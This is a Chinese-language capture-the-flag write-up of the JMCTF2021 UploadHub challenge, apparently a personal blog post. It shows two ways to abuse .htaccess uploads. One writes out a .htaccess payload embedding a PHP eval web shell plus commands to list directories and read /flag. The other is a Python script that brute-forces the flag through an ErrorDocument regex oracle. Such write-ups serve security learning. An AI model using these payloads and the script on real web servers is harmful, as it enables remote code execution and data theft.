[JMCTF2021]UploadHub 一进来就是经典上传页面
直接上传🐎
能上传,但是不能被解析为php代码,可以想到应该是设置的问题,提到设置,基本上就是./htaccess文件或者是.user.ini,这个地方可以用./htaccess文件,之前有过一个题目也是./htaccess文件上传,但是只是可以在htaccess上执行php代码,但是不解析这个的设置之前没学过
方法一 SetHandler和ForceType 强制所有匹配的文件被一个指定的处理器处理 用法:
1 2 ForceType application/x-httpd-phpSetHandler application/x-httpd-php
1 2 3 4 5 6 7 那么这里就是将.htaccess文件解析为php Require all granted #允许所有请求 php_flag engine on #开启PHP的解析 php_value auto_prepend_file .htaccess 在主文件解析之前自动解析包含.htaccess的内容
上传内容:
1 2 3 4 5 6 7 8 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch> php_value auto_prepend_file .htaccess #<?php eval($_POST['1']);?>
被解析了#后面没有PHP代码了(php代码被解析时是不会在网页显示的)
1 2 3 4 POST: 1=var_dump(scandir("/")); 1=var_dump(file_get_contents("/flag"));
这个方法需要每隔一段时间上传一次,应该是隔一段时间删除上传的文件
方法二:ErrorDocument 404 看Nu1l的解法感觉很强,居然是通过盲注!
还是传.htaccess文件,但内容却很不一样:
1 2 3 <If "file('/flag')=~ '/flag{/'"> ErrorDocument 404 "wupco" </If>
先上传一次,获取不变的upload后面的ip ~ :用于开启“正则表达式”分析,正则表达式必须在双引号之间。
~ :用于开启“正则表达式”分析,正则表达式必须在双引号之间。
如果匹配到就设置ErrorDocument 404为”wupco”,那么访问一个不存在的页面时就会显示wupco这个字符串
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requestsimport stringimport hashlibip = '74310c5695d734e667dc2250a05dcd29' //修改成自己的 print (ip)def check (a ): htaccess = ''' <If "file('/flag')=~ /''' +a+'''/"> ErrorDocument 404 "wupco6" </If> ''' resp = requests.post("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/index.php?id=69660" ,data={'submit' : 'submit' }, files={'file' : ('.htaccess' ,htaccess)} ) a = requests.get("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/upload/" +ip+"/a" ).text if "wupco" not in a: return False else : print (a) return True flag = "flag{" check(flag) c = string.ascii_letters + string.digits + "\{\}" for j in range (32 ): for i in c: print ("checking: " + flag+i) if check(flag+i): flag = flag+i print (flag) break else : continue
参考链接:https://blog.csdn.net/weixin_45669205/article/details/117047432
Author:
odiws
Permalink:
http://odiws.github.io/2024/11/08/JMCTF2021-UploadHub/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY ?